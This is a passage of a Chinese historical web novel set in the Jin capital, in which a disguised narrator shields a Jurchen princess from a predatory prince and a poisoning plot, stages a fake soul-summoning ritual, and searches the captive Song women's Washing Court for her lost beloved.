据说第五批北上的宋皇族已经到上京了,洗衣院已经灯火通明的热闹起来。议政王他们也回来了,只是因为获得了不少战利品和女人,加之王妃看得严,让他没有立刻骚扰完颜晴。这样我们松了口气,真希望他能喜新厌旧的忘记这段不亻仑关系。 没想到率先打破平静的是伍国城的突然来客,完颜晴的姨母还有她一直想保护的表妹。 这日我们正在读《三国志》,乌里突然进来着急的通报,完颜晴听后愣住了,随即迎了出去。 来人已经进了院门,甚至于我们刚出门就碰面到了。风雪中我看到一位身穿褐色翻毛大衣的夫人带着一个十四五岁的女孩,正是完颜晴的表妹古沃贺。 完颜晴急忙将两人迎进屋里,又让百林增加了取暖炉。毕竟现在的身份是完颜晴的驸马,我将右手掌放在心口行着蒙古礼仪。 妇人看了我一眼,直接就开始和完颜晴说话,语气严厉,刚好乌里在我附近,她们的汉话已经基本可以沟通了,我就让她悄悄为我翻译。 她有点不悦的说着,“济蓝夫人又在埋怨公主,总是这样!”完颜晴把她们保护的这么好,还有什么可怪的呢? 说着,她见完颜晴没有大反应,居然拿出手帕哭起来,完颜晴无奈的叹口气,说什么额吉。 乌里说,济蓝夫人又用什么部族荣辱还有已故和卓夫人来发难了。完颜晴说您就不要打扰我母亲的安宁了,好吗?请求着。 “她看我和你说话,让公主管好身边人”乌里也快气坏了,这句也翻译出来。 额,这个姨母难道在精神控制完颜晴吗?难怪完颜晴要撕掉她的来信。这就是她摆脱不掉的亲缘吗? 说了一通,压力也给到位了,济蓝带着古沃贺要休息了。古沃贺趁着她娘不注意,悄悄塞给完颜晴一个鱼皮编的小挂件,是一只小马。 “你没事吧?”我拍拍完颜晴的手臂,递上一杯热水,“吹吹喝,舒缓一下!”每个人无法理解的现在,可能藏着一个看不见的黑暗昨天。为家人做了那么多还是不断被要求被埋怨,难怪她说不愿增加与人的牵连。 还没等消化好情绪,百林又跑进来,慌张的说着,我听过类似的话,是议政王邀完颜晴赴宴…… 86、讨好 完颜晴叹了口气,将小马挂件放在小盒子里收起,转身笑着对我说,“我要换衣服收拾一下了,你要留在这里吗?” 我自然得退出来了,见到百林面色也凝重,难道真的不能躲避拒绝吗?我在门口想着,百林似乎也不情愿,却无奈的说着“议政王说古沃贺小姐来了,也可以一起……” 这群人还真是无耻,这母女一来,让完颜晴掣肘。来不及想巧不巧合了,我又推门进屋,见完颜晴正在吃药,我想起那些无奈的大宋公主,“你愿意吗?”我问着。 “习惯了,我不去,难道让古沃贺去吗?”她整理好头发,故作轻松的走出来,“管好你自己吧!今天又打算买点什么?去逛你的吧!”说完不让人跟着,自己向着门口的马车而去,头也不回的上车离开。 既然没有回答愿意,就是不愿意。很多情绪突然杂糅起来,我想为她做点什么!毕竟我还要请求她很多,毕竟我也是她名义上的驸马,这么任由“妻子”被欺辱,实在不是人。 我让乌里、百林带路找到了古里泰,我想问他要不要帮忙,他眉头紧皱,犹豫的说着“澈穆格不喜欢别人干预她的事……”,我叹了口气,果然是过于“尊重”了。 “能不能帮我找到议政王夫人?”我又问,也许还能找她撒撒泼。古里泰点点头,最近她女儿身体有恙,刚好请他姑姑看过病。王妃正在别院照顾女儿,议政王居然趁这个机会想欺负完颜晴。 (╯‵□′)╯︵┻━┻禽兽 我在王府别院门前深吸一口气,在身上倒好了酒,向古里泰讨来的短时间内增大力气的药已经生效了。我开始装醉大喊大叫,用向乌里她们学的女真话,说什么老婆被霸占了……求议政王妃做主……我一个男人颜面何在……不如死了算了……说着我将一个个酒壶砸到门上。 很快就有人围观,同时而来的是王府家丁要制服我,我借着发酒疯和药效,终于再抡倒几人后,惊动得王妃出来,我把刚刚的话又嚎了一遍,王妃不想让女儿听到这些,加上确实不喜欢王爷这样的丑事,就带着我去砸场子了。 我们乘着车,马不停蹄的冲到王府中,好在宴上的人还在看宋女跳舞、饮酒,完颜晴还安然的坐在王爷身边饮着酒,旁边还有几个陪侍女子。 我继续发酒疯、掀桌子,趁着大家还没反应过来,跑到完颜晴身边一把搂过她哭嚎起来,借机偷偷的把酒洒在她身上,增加气味。她还懵懵的,我忙用手在她手心写下“醉”字。 她微微侧头,我把她的头按在我肩膀上,她终于配合起来,整个人的重心都压过来,一副不省人事的模样。 药效还在,我一把将她抱起,对王爷王妃说背好的女真话,“街巷传闻逼死人……”王爷唤了侍卫,却被王妃制止住,任由我们走了…… 将她抱上门口接应我们的马车,乌里、百林接过她,我也累的瘫倒在车里。那个短时间增大力气的药,后遗症是透支后的虚弱无力,大概得持续一天。虽然外面很冷,我的汗还是不断流出来。 “你在干嘛?”完颜晴看着我问着,“救我?”然后她不自觉的看着手心发呆。 “讨好你啊!”我缓着气息说着。 被乌里搀扶回屋里,我就躺下了,昏沉睡了一天。醒来已经是第二天中午,我支撑起身蹒跚来到桌边,桌上有小炉子温的小砂锅,里面的肉粥还是热的,算她们有良心。 “哟,醒了?”我刚吃完一碗,完颜晴就带着乌里推门进来,我点点头,继续大口吃粥,得赶快把体能补回来。 “是你让找人宣扬出去,说我痛不欲生、寻死觅活,不愿见人?”完颜晴继续问着。 “嗯!找的那个十两小子,还记得吗?”我回答着,然后又清空一碗粥,“为了感谢,要不帮忙给他找个更好的生计吧!” “好,我可以介绍他去和剌府上”她点头说着,随即又问“现在风言风语,你就不怕咱俩以后抬不起头来!?” “日子是过给自己的”我喝了点水继续说“这不是用流言舆论让他离你远点嘛!我闹了那一场又散播了这些,也算扩大了影响,就算有人想事不关己的想睁一只眼闭一只眼,恐怕也难……现在多多少少汉文化也有点影响了,他们也不敢再不顾伦理乱来的,何况王妃本就不好惹,加上她女儿已经到了婚嫁年龄,对这些流言很在意!”我继续说着我的想法。 “澈穆格公主,我知道你已经有根基了,不用再靠他巩固也没问题”我突然郑重起来,联想起这段时间她姨母的情况,我觉得还是多句嘴吧!“你对亲人好,让人敬佩,但是也别总忘了自己的感受吧!” “你还真是多管闲事!”她微微皱眉说着。 其实她为了亲人已经习惯忽略自己的感受了,只是最近看了宋人的情况,让她和我觉得,这种忍受是没有意义的。更何况她姨母就是在算计她牺牲她,她又何必再委屈自己呢! “我已经在劝姨母回伍国城了”她又突然说着,看来也已经意识到了。若是没有她们莫名中毒,也许她根本不会被议政王得逞,如今她们刚刚回来议政王又这么巧的能拿捏她!始作俑者到底是谁? 突然她皱起了眉,摸着自己的胳膊,拉起袖子发现手臂上长出了黑色的斑,眼看着就破裂渗出血来,这症状好像是她姨母和表妹中的毒。我和乌里赶快将她送回房间,又让百林去找古里泰。乌里脱下完颜晴衣服发现背上腿上也有,只好让她趴好盖上被子。 乌里赶忙向济蓝夫人讨要解药,却说已经用完了,只拿回了那个装过药膏的罐子!里面只剩个底了,我们将那仅有的药膏涂在几处疮口,真的就好了,看来还真是那个毒。可是其他地方的却不见好,也没有药了。 古里泰此时赶到,我们为完颜晴拉上被子,再让他查看手臂其他地方的斑点,古里泰焦急不已的说着“现在是冬天,蛇都冬眠了!没法在短时间内作出解药!” “去求求议政王”济蓝夫人突然在外面大喊着,她们翻译给我听。 完颜晴疼的汗水直溜,咬着牙摇摇头。 “还有没有别的办法?”她问着古里泰,古里泰一时有点茫然无措。 完颜晴摇摇头,提着力气说“已经走到了今天,我突然不想再回头了!本来也是为了她们再挺着,如今也没必要再撑,这样去了倒也解脱了!” 说着她用女真语告诉乌里,记得把装着小马挂件的盒子拿出去烧掉,不管古沃贺是有心还是无意,都赶快将她们送走。 然后突然对我说,声音越来越弱“平安,你爱管闲事!我若不在了,这宅府可能是你说了算了,我已经做好了安排,你和你心上人团聚以后,你们愿意去哪里都行。在书房里有两个箱子,是给这两个丫头准备的嫁妆,不管你们怎么选,记得给她俩留个好去处!多谢了……”说着她晕了过去。 小马?难道是她姨母利用她表妹下的毒,可是她也碰了啊!? “古里泰,这毒是不是治愈以后就免疫了?”我抓着他问道,“有没有办法让她治愈自己?!” 我的话点醒了古里泰,他马上跑回家取来一把一尺长、一指宽的淡黄色的骨刀,刀尖内有孔。 “我们萨满教用这个取血,或者注血!”他说着将酒倒在刀上面,又用酒清洗刀内的孔。接着说“她身上有解过毒的地方,我用骨刀将此处血提取出来,注入到你的身上,等你体内产生对抗后,再取你的血注给澈穆格,应该就能从内部解除此毒!” “啊?行吗?”我不禁问。 “你昏迷时,我们其实在你身上试过,可能你的体质特殊,这毒对你没有影响,”他眼神恳切的说“你就是最好的解药容器!你可以救澈穆格!不用求议政王就能救她!” 我看着乌里和百林,问道我真的被试过这个毒吗?她们点点头。我又看向还在昏睡的完颜晴,心想:这下你可算是又欠了我的情了吧! 我向古里泰点点头说,“好!我愿意换血!” 接着看他将骨刀刺入完颜晴的手臂,血从孔洞吸入慢慢上升,骨刀里透着红色,刀把上也有个孔,按住它,血就不再吸入了。古里泰抽出骨刀,擦掉表面的血,我深吸一口气,看着他将刀插入我的手臂里,放开刀把的孔,血就慢慢注入我的体内了。 没什么感觉,他割破了我的手指,将血滴在完颜晴的疮口上,居然和药膏的效果一样!我们都欣喜万分!忙又用骨刀取了我另一只手臂的血,再注回给完颜晴。 这次在注血过程中,她突然哼一声,转醒过来,看着骨刀又看看我们。 “苑平安用她的血解了毒”古里泰稳着将刀抽出,慢慢的说着。 完颜晴咧开嘴笑了,无奈的说着“又欠你情了!” “可不嘛!”我按着两边胳膊伤口上的棉布,乌里刚给我涂了金创药,还有点痛,但是我得故作轻松才好,“美女姐姐好点了吗!?” “你沧桑成那样,还好意思叫我姐姐!”她趴在那里嘲笑我,似乎有点力气了。 “我今年才26岁而已,”我继续逗着她,希望她能精神点,一会百林好喂她吃东西。 “果然比我老多了,我是乙酉年出生的”她难得的和我斗嘴,可能也为自己劫后余生而庆幸。 “乙酉年?”我重复道,和瑚儿一样啊。 “乙酉年八月十五”百林端着汤进来,抢白道,“不过公主从来不喜欢庆祝生辰!” 她和瑚儿居然是同年同月同日出生的! 我还在差异缘分奇妙!完颜晴用女真话说着,就你话多…… 几日之后,完颜晴的身体好多了,她派人送她姨母和表妹回伍国城,并加严了看守,没有她的允许谁也不能见她们,她们自然也出不来。 她没有送她们…… “你姨妈为什么要害你?”我问着屋内坐着的完颜晴。 “她生病了,活不久了!”完颜晴淡淡的说,仿佛不再有情绪的起伏,“所以想给女儿争取个如意郎君!” 也许是难得的想倾诉,她讲述起了过去的故事,她长大之后的这几年其实一边维护温敦部的遗民一边也查到不少事。 她姨母一直很嫉妒完颜晴的母亲和卓。所以从和卓夫人被金国索要、温敦王另娶、挑拨温敦部叛乱,和卓夫人为了族人心力交瘁早逝,都有她的谋划。再到后来她和议政王配合,牺牲了完颜晴。这次因为古里泰已经和议政王女儿订婚了,她希望古里泰可以娶她的女儿古沃贺,才又和议政王做了交易。 有些事完颜晴已经查证,有些事是她前几天亲口承认了。可是就算知道了又能怎么样呢?难道要杀死一个将死之人!至于表妹的婚事,等她长大点自己决定吧! “罢了!以后我得为自己的兴趣活着了!”她轻轻叹息。 “自己称心最重要!”我应和着。 “不管怎么说,我得好好谢谢你!救了我的命!”她站起来看着我说“想要什么回报!” “良田千顷!?黄金万两?!”我故弄玄虚的说着,“要不先记账吧!当我讨好你,当助我和瑚儿相聚的感谢!” “你要真想讨好我,就帮我找个人吧!”她说着取出那副画像。 完了,怎么又提到这来了…… 87、唤魄 完颜晴再一次展开画卷,轻轻说着“其实我真的很想再见见他!好好感谢他!而且那时……” 她没有说完,但是眼神有点温柔起来,轻轻抚摸着自己的掌心。 她这辈子也没怎么接触过好人,一直战战兢兢。当时又在危机中,才把我当成了救命稻草。现在难道想恩怨情仇一起了结!? 没等我开口,她就笑着收起了画,“我只是想起这幅画当时也是姨妈毁掉的,不然也不会连样子也不知道!” “算了,茫茫人海,天地辽阔!我都找不到,你一个假鞑靼人上哪里去找呢!”她将画轴放回柜子中,赶我出去逛街采购了。 最近该买的东西都买差不多了啊,我茫然的走在街市上。突然路过祭坛,有人带着面具在跳舞。古里泰说过,现任大祭司是她的姑姑,萨满教也有自己的神奇之处吧! 我突然想到一件事,就去找他了。 “召唤魂魄?”古里泰重复着我的话,“听说,我们族灵力高的人确实有这个能力,不过我从出生起就没有见过!” “我想请你帮忙演一场戏!”我想了想说着,“我曾有位故友,叫倪飞,他机缘巧合下救过澈穆格公主,但是他失踪多时了,这也成了公主的心结。我想我们一起帮她见到他!” “哦?澈穆格的心结?那需要我做什么?”他听到关于完颜晴就认真起来。 “我们举行一场萨满仪式!”我摸索着下巴说“把他的魂魄召唤过来,和公主相见!” 我把我记得的细节告诉了古里泰,“有些事如果她发现不对劲,你就说自己坠落山崖,记不清了!”我嘱咐着他,“总之,只有一个宗旨就是希望澈穆格公主好好生活下去!” 我们商量好了,我又想起完颜晴曾经问过我右手掌的疤痕,虽然现在已经没有了,但是为了增加玄幻的可信度。我问古里泰能不能忍住一点痛,他点头。 我就让他在右手掌心、手背点好白磷,戴着湿手套,等摘下手套,白磷会自燃,突然产生两个小疤痕,加上那些回忆,应该会让完颜晴相信,倪飞的魂魄到了古里泰身上! 万事俱备,只待做法! 三天之后,我们约好完颜晴来到古里家的祭坛,我躲在木架后面看着。 古里泰本来就会一些仪式,所以一番操作下来,电光火石,还挺唬人的。当他摘下手套后,右手疤痕突然出现,真的让完颜晴吃了一惊。 “后来,你去哪里了?”完颜晴问着。 “萍水相逢,多谢挂念!我已战死沙场!你不必再找了!” …… 聊了一些回忆,也都应对过去。之后,完颜晴眼睛红红问道,“一直没有好好谢过你,你有没有什么心愿?” “我希望你平安幸福!还有……”古里泰看着完颜晴,迟疑片刻,突然拉着她起身,到窗子旁边说话,我听不到了,再探过去点,看到他突然抱住了完颜晴。 完颜晴愣住了,随即轻轻推开他,转身离开…… 我抄近道狂奔回去,刚进屋就听到百林向完颜晴打招呼。我调整好了呼吸敲门、进去,看着完颜晴已经又拿出了那幅画,看着发呆。 我问着“你见到他了吗?” 她点点头又摇摇头,“他说他已不在人间,但是他喜欢我……想和我再续前缘,他会借哈梵的身体和我在一起……” “什么?他骗你吧!”我一听急了,这小子怎么这样,居然见色起意!? “有些事只有我们知道!不过,我和倪飞还不是那种……”她尽力措辞,难得的吞吞吐吐“他说他可以为了我,让哈梵逃婚……他不爱雪芊寻了……还可以不顾我们宋金敌对,只要我和他一起……他也不在乎现在宋人的情况……他” 这都什么玩意?他自己发挥成这样,不功亏一篑吗? “人心真的会变吗?”她喃喃道,好像在问我也好像在自问。 我叹了口气“人经历多了,有些看法可能真的会改变吧!但是既然他已经不在了,可以只记得好的部分,比如他救你可能只是希望你好好活下去!”宗旨本来只是想安慰她,希望没有毁了好的记忆,也没有影响她对未来的信心。 她盯着画片刻,轻轻笑了,“也许我舍不得的,只是那段难得自在的时光,怀念那个可以相信别人的自己”她将画卷起,系上死结,“不管那是不是他,变了心的他,我都不会想见了!” “也许他祝福你的心是真的!”我舒了口气,试着补救“只是这招魂之术,可能会受宿主影响吧!” “哦!”她也意识到了什么,点头“那个人,萍水相逢都不会轻易放任不管,何况是朋友同胞。就算人会变,也不该如此……” “古里泰喜欢你啊!”我点明,“所以可能影响了倪飞的心意!你不必在意!” 我突然想起来就又问道“那么多人喜欢古里泰,你真就对他没有一点想法?” 她摇摇头。 “因为他订婚了?”我想了想问道。 “我对别人的东西,确实没兴趣!”完颜晴托着下巴,认真的说,似乎恢复了心情,已经完全将倪飞和古里泰分开“他从小就温吞吞的!我拒绝的不明显吗?” 是挺明显的!想来古里泰真的是因为怯懦而失去了和完颜晴的可能啊!现在又差点影响了完颜晴对我的记忆,没能让完颜晴喜欢上他,也许真是有原因的吧! “算了!今生的缘分可能就到这里了!”完颜晴再一次轻轻叹息,将画轴放回梅花画后的暗格里,却在放好梅花画时,手抚着画布停住,半晌没有放开“虽说活没见到人,也没见到……” “我相信他真的想让我好好的!”完颜晴不禁笑了,“有一天我会再去中原看梅花!”她回头的瞬间,我才又有了那种恍然隔世的感觉,仿佛在西夏的那个午后。 但时间是不可能倒流的,我们都不得不得向前,迎接命运给我们的考验。 “平安,你先坐好”几天以后,完颜晴突然将我叫到屋内,手下压着一封信,一见面就让我坐稳。 是瑚儿的消息吗?这凝重的气氛,让我感觉腿肚子打颤,我坐在完颜晴对面,看着她,忐忑的问“瑚儿,怎么了吗?” “她明天就会到上京城,我们可以直接把她接过来!”她说完这些,不自觉的用手指轻轻敲着信纸,迟疑一会才又缓缓开口,“她的身体不算好,有些事你做好准备……” “我传信过去后他们就小心照顾她了,可是她在汴京时脸上已经受了伤,路上也和很多北上女子一样……被强制坠马……滑了胎……”她将信递给我,可我看不懂,也看不清了,悲愤交加的泪无法抑制,我咬着牙,将信纸褶皱,手不住的颤抖! 我的瑚儿,为什么要经历这些?这乱世动荡的后果非得让一个个像她这样的女子承受吗? “你冷静一点,明天我和百林把她接回来,你还是不要和兵将见面了!”她见我木然流泪,叹了口气说着明天的打算,“我怕你冲动行事!” 我尽力吸气平复着呼吸,擦掉眼泪,“好!我会把屋子收拾好,让瑚儿暖和点,颠簸了这么久……她……我还得做着好吃的……我”说着我又流下眼泪,以后我们不能再分开了! 夜里,翻来覆去的睡不着,我干脆坐起来,想着见到瑚儿之后我应该怎么做才好,经历了那么多磨难,我得好好抱着她,守着她…… 终于挨到了天亮,我摘下假胡子,擦洗干净脸,又难得的画了眉和唇,用头巾包住了额头,想让自己看起来精神好一点。 然后到厨房,乌里也在着手做早饭,我帮她尽快完成。我就留下来,熬汤、煮饭,再做几道瑚儿爱吃的菜。我没法让自己闲下来,不然眼前就会闪现心痛的幻象。 时间在一点点走着,完颜晴出门已经近两个时辰!终于快到中午了,我摸摸食盒里的菜盘,还是热的。又给屋内火炕炉子添了柴,被子已经铺好,被窝里很热乎,还有铜怀炉放在布兜里,等会让瑚儿抱着! 马嘶鸣的声音从门口传来,应该是有马车停在了院门口,我抱紧怀炉,呼吸着。我试着笑,待会见到瑚儿我要让她看到好好的我,我要好好哄她! 踏雪的脚步声越来越近,我打开门,看到完颜晴和百林身旁站着一个穿着非常厚实褐色翻毛大氅的人,帽子遮住了脸,也许瑚儿不想别人轻易看到她的脸! 我向完颜晴点头示意,快步走过去将怀炉递给她,揽着她想快点进屋,她微微一怔,很快便顺着我的动作。 因为有外人在,我和瑚儿没有对话,直到让她坐在火炕上,我才忙打开食盒取来鸡汤,端到她面前,“瑚儿,饿……”我还没有问完,就见她突然挥动手臂,击向我的左腹,突然一阵刺痛,汤碗坠地成碎片。 “胡狗死吧!”她抬起头,帽子下的脸,终于被看清,她左脸颊有一道长长的疤痕,而伤疤之下的脸,并不是我心心念念的瑚儿。 “冷语!”我忙按住左腹伤口,原来她偷藏着一根磨尖的骨头,刚刚全力刺中了我。 我的呼唤让她一惊,“曹驸马!” “瑚儿呢?”我顾不得伤痛,着急的问着。 “公主……她……西”她松开了握着的凶器骨头,情绪自看清是我以后明显波动起来,可是却未等说出后面的话就晕倒了…… “平安……怎么了?平安,需要帮忙吗?”门外响起敲门声,完颜晴她们听到屋里摔东西的声音,询问着。 此时我一手捂着伤口,另一只手实在不能将冷语安然放在床上,只好回头对门外喊道,“需要,进来吧!” 三人进来,百林和乌里扶着冷语躺好,我退到桌子旁边坐下。 “你受伤了?”完颜晴过来查看我的腹部,回头看了眼昏睡的冷语,又看看我,“她为什么?” “她把我当成金人了!”我木讷的说道,叹了口气,起身要去找药,完颜晴轻轻按着我坐下,让乌里去去取药,然后为我处理下伤口。 我虽然想婉拒,但是毕竟她们在我昏迷的那一年多,早就习惯了对我身体的处置,抵抗无效,所以还是我自己解开衣服好了,都是女子,又事出紧急。掀开衣服,骨制刺还插在身上。 “还好冬天穿的厚实,这一侧的要害也不多!”完颜晴在一旁说着,乌里用沾着药的布按住伤口,然后拔出了骨头刺,我深吸一口气,感觉伤口随着呼吸衍生一阵阵疼痛。 “得给她找个大夫!”我看着床上昏迷的冷语和完颜晴说,“她们真的吃了不少苦!”可是这话完颜晴如何接呢?苦痛的根源是否能怪她们金人呢? “我先看看”完颜晴走过去为冷语诊脉。 “她什么时候会醒?”我问着,有一点着急,冷语知不知道瑚儿的下落? “确实得调养一阵子!”完颜晴让乌里去准备汤药,“她们北上路途颠簸,营养不足,加上思虑担忧,看到你可能一时激动气血上涌就晕倒了!” “放心,她最多一两天就会醒来!一会你把乌里煎好的药喂给她吧!”完颜晴嘱咐道,随即准备带着百林离开,出门前她突然问道“她的惊恐愤怒可能伤了神智,你会嫌弃她,觉得是负担吗?” 伤了神智,是不清醒吗?那瑚儿,我要到哪里去寻呢?名册里记载的瑚儿居然是冷语,瑚儿到底在哪里? 见我迟疑,完颜晴轻轻叹息,摇摇头说着“人之常情罢了!”说完,就留我和冷语在屋内。 火炉里木柴发出噼啪的声音,屋里温度越来越暖,可是我的心却因为担忧恐惧而越来越冰…… 88、变心 “用这个勺,喂她喝!”乌里说着汉话,教我如何给昏迷的人喂药,一手轻轻捏着冷语的脸颊,另一只手用那个柄长肚大扁头的特质瓷勺舀药喂她喝。我接过长瓷勺后,乌里便离开了,我试着将药喂给冷语,不用捏着脸也可以。 回想起来,难道我就是这么被喂了一年半吗?这个勺子还是挺有用的。 一面喂药,一面注意到冷语脸上的伤疤,很长也很深,是怎么伤的呢?她眉头紧皱,头发也有白了的!喂完了药,希望冷语早点醒过来,她是在汴京时就冒充顶替瑚儿了吗?瑚儿难道还在宋境? 我心中有万般疑惑,可冷语睡得太沉了!颠簸了那么久,能休养过来就好了!她刚刚说的话是:公主她……西?不会是洗衣院吧!? 我拿着药碗起身时,左腹的伤口还会有点撕裂痛!桌上食盒里的饭菜已经凉了,我也没心情吃,又觉得浪费不好,便将食盒拿到厨房,将菜又热了一下,盛好后问乌里她们要不要尝尝我做的中原菜,恰好完颜晴从藏书阁过来,便同意大家一起吃点吧!省的乌里再做了。 “你给她留了吗?”完颜晴拿起筷子问着。 “她吃了药还在休息,我明日再做些”我舔舔嘴唇说着,不觉又叹着气,随即劝她们多吃点,毕竟今天也是风尘仆仆的把冷语接过来了。 “都是些中原菜,不知道你们吃不吃得惯”百林为每个人盛了蛋炒饭,因为今天我做的菜饭都是为了瑚儿准备的,所以做了加胡椒的蛋炒饭还有一些鱼香口味酸甜的或者麻辣味的菜,和她们平时吃的牛羊肉类的饮食习惯不大相同。 “还不错!”好在倒是不难吃,乌里和百林没有什么忌口,吃着夸赞我。只是完颜晴比较爱吃红烧茄子还有白菜五花肉炖冻豆腐,当然还有蛋炒饭。 吃完饭我本打算帮着收拾,但是乌里念及我有伤而抢过活去。 出门时,百林说着,“公主比较喜欢……口味一致的饭菜,比如咸香,混着口味的或者甜的,她不怎么吃!” “我今天吃不少了!”完颜晴在进门前回头说道“可不算挑食!”随即便要关门。 “澈穆格公主,我还想请求一件事!”我在她将门关上前推住门,说着“我想看进入洗衣院的名单!可以帮我吗?” “可以,明天吧!”她说完推上了门,门内传来,“快回去陪你的瑚儿吧!” 这……我也没有其他房间可去,又想着冷语会不会突然醒过来?! 好在屋里还有张躺椅,取出了备用棉被垫在下面,我换了点外伤药后,就半坐半躺的休息了。受伤流血后难免疲惫,我虽然脑子里乱乱的,可还是很快睡着了。 “这是洗衣院的名单,帝姬九人、后妃三十六人…宫妇五…”次日中午,完颜晴将拿到的名单交给我,我认真看着这些名字,如果瑚儿是冷语,那她会不会又被记成了别的女子? 反复看了名单几遍,我回忆着她们的信息,可是这些人我大多不认识也不了解。 要不我还是去洗衣院看看吧!冷语还在昏迷,我又喂她喝了一次药,外加了一碗鸡汤,暂时应该没有什么大问题。 完颜晴也刚好出去办事,我也就溜出来,几经打听来到了洗衣院,奈何得有金国贵族身份才能进入,正在门口徘徊时,听到有人叫我。 “你怎么在这里?”回头看是古里泰,我也问了他同样的问题。他是被未来大舅子,也就是议政王儿子带来找乐子的。 乐子?这分明是胜利者对沦落者的凌辱,更是男人对女人的随意欺负! 我强忍着心中的愤怒和不适,和古里泰说,让他带我进去,他本想拒绝,可我说大不了我和完颜晴坦白我们一起假装招魂骗她,“她念及我的些许帮助,应该会让我安然离开,但是如果知道你也骗了她,恐怕以后对你就更冷淡了!” 他终于还是被我要挟住,带着我一同进入洗衣院。这里像是一座更大更华丽的青楼,只是里面的女子都带着国仇家恨,却不得不强颜欢笑,盛装之下掩盖不住愤恨和忧伤,舞乐之中传达出的哀怨和恐惧,与来此享乐的金国贵族放肆的调笑和行径形成鲜明对比…… 说实话看到是冷语的那一刻,我第一反应是着急,想知道瑚儿在哪,但是随即也有一丝不该有的庆幸,经历那些的人不是瑚儿,可是终究是有太多像冷语一样遭受磨难的人了。 因为进门时给了腰牌,所以我可以随意穿行在洗衣院,可是每个门和庭院都有人持械把守,她们想稍微自由点活动真的难如登天。 我尽量将里面的人都看到,心情也越来越沉重。除了几个正在被迫……房门紧闭。我几乎见到了所有人,这里没有瑚儿的影迹,我只好先回到完颜晴府里。 “你去洗衣院干嘛?”一进院门就被乌里叫去见完颜晴,她见我的第一句就是这个提问。 我心想这么快就知道了! “好事不出门!”她见我面露疑惑,径直说着“我的驸马跑去洗衣院享乐,这消息已经传遍上京城了!” “大家都在说,那个为了我大闹议政王府的人,也被宋女所迷”她叹着气,喝着咸奶茶幽幽的说,“你都找到瑚儿了,还跑去那里做什么?” “找人……”我心里也气闷,洗衣院的景象实在让人难受、不舒服,可是我也不知道该做点什么?如果说找到的并不是瑚儿,她还会帮我继续找吗? “找谁呢?”完颜晴继续问。 “瑚儿的……侍女……对我们很重要的人”我想了想回答到,会不会她俩身份对调了呢?今天去洗衣院还有几个房间没有查证到,我应该再去一次,“可以借我腰牌一用吗?”我问着。 “还要去?”完颜晴反问道,“重要的人?你们关系正常吗?!” 没想到她会这么问,我一时不知道怎么回答,也许现在说找错了人,她也会觉得我撒谎吧! “乱世能和心爱的人重逢已经不容易!不要太贪念了!”她走向我,将一块令牌递给我,带着告诫说着“无论你要去找谁,我希望是最后一次去那里。回来好好和你的瑚儿过日子不好吗?她的情况,不适合离开人!” 我接过令牌,道了谢,就回到房间。冷语还在睡着,我握着令牌发起呆来。冷语尚且如此艰难生存,其他人呢?再去一次洗衣院如果没有找到任何线索,我又该去哪里寻找呢?冷语的身体需要恢复,不知道什么时候才可以动身南归。很多问题都碰到了一起,真让人头疼! 又过了一天,冷语还是没有醒来,肉汤和药汤也喂好了,我便拿着令牌打算再去洗衣院探寻。无意于多做停留,我直奔那几个房间,随着一个个人的排除,我更迷茫了。连杂役房和厨房我也偷偷去看了,真的没有发现。看来这里以后不用再来了! 本来是要去还令牌的,完颜晴一见我就说道“她醒了”。我赶快跑回房间,只见冷语木讷的坐在床头。 “你怎么样?”我见百林在屋内,只好压抑着焦急,请她让我们单独待会后,才走过去,问冷语瑚儿的情况。 冷语木然的看着我,“我就是成德帝姬赵瑚儿,请将军放我们一条生路!”然后她喃喃说着一些请求示弱的话。 “我是曹谦月啊!冷语,瑚儿在哪里?”我撕下假胡子,再和她确认着,可是她还是说不太清楚。 原来她的心神受到伤害,是真的。我试着和她沟通,没有太好的效果,只是听她说,公主一直都在,后来她呢喃着梦绮这个名字,睡着了。 不管怎么说,她终于醒过来了,也许调养一阵子会好一点,那是不是就可以问清楚一点瑚儿的情况了! 如果这样的话,我是不是不方便和她住在一个房间里了,我躺在躺椅上想着,毕竟她和瑚儿情同姐妹。明天再找个房间,如果她们问起就说怕打扰她休息。 正想着,突然传来敲门声,是乌里的声音,“公主问你们有没有想吃的中原饭菜,府里来了新的厨子。” 哦!?我都行,可是冷语的喜好?我好像真的没有注意过,“都好,她刚醒过来,清淡点最好,代我谢谢公主!”送走了乌里,我便吹熄了灯火。 次日一早,我起床趁着冷语还没醒,赶快换好了衣服,打算收拾点东西搬到书房去,一开门就迎上乌里送来饭菜——中原饭菜,看来新厨师已经上线了。 我们说话时,冷语也起来了,还是安安静静的不理人,我们把饭菜摆好,她拿起筷子自己吃着。 我打算和乌里一起去见完颜晴,我想和她说,想请个大夫给冷语看看神智,虽然完颜晴医术也很不错,但也还是找个更对症的大夫吧! “你没有陪她一起?”完颜晴问着。 我摇摇头,先谢谢她的安排,然后说着自己的打算,还有想搬到书房的事。 她微微皱了皱眉说道“她现在也许是不大好,和以前多有不同,可她正是需要你的时候!你就留她一人?”她的质问中,有着些许哀伤,也许在同情冷语的命运吧! 如果她是瑚儿,就算再怎么折腾,我也会把照顾她当成生活习惯的!可是一来她不需要,二来确实…… “不方便……”我犹豫的说着,我也不能寸步不离的守在她身边,逼她回忆那些不堪回首的事,然后找寻瑚儿的蛛丝马迹?“她需要静静地休养,慢慢会好的!” “不方便?”完颜晴重复着我的话,随即无奈的说着“好吧!终究是你们两人的事!” “这是那位新厨师做的吗?”我低头看到桌上的饭菜,五香煎豆腐、葱爆羊肉、炒秋葵还有鱼肉粥。刚刚没有注意,怎么这么眼熟!! “你总往洗衣院跑,我没面子啊!又不想像其他贵族给你接几个宋女入府,”完颜晴见我愣神,便说道,情绪稍有缓和,变得调侃揶揄,“我就说你想吃中原菜式,便在洗衣院厨房找个汉人厨娘。要不要尝尝?” 越看越眼熟,我自然不想拒绝,接过筷子,我夹起一块豆腐,有点紧张,难道?我吞了口口水,手也微微颤抖,为了不被看出异样,我赶快将它送入口中,不会错!我抑制不住泪水流出,是瑚儿做的! “有这么好吃吗?”完颜晴看我哭了,不禁也夹了一口豆腐吃,“也就还好吧!你喜欢,就多吃点吧!”随后她盛了点鱼粥喝。 “那……厨娘……是宋人吗?”我擦掉眼泪试探着问“做菜好像我家里的味道,很好吃!我可以见见她吗?” “她啊!一个丑大娘”乌里抢白说着,“背驼着、腿也不好”她学着那样子,被完颜晴制止,别乱笑话人。 丑?大娘?驼背瘸腿?我不禁心里咯噔一下,难道瑚儿受了重伤?还是另有其人,可是这刀功和味道,实在太熟悉了!我不能放过这个机会! 捱到吃完饭,我就赶快帮忙送碗碟到了厨房,可里面没有人,乌里说她可能买菜去了。我借口说想试着做点别的菜,就留在了厨房。 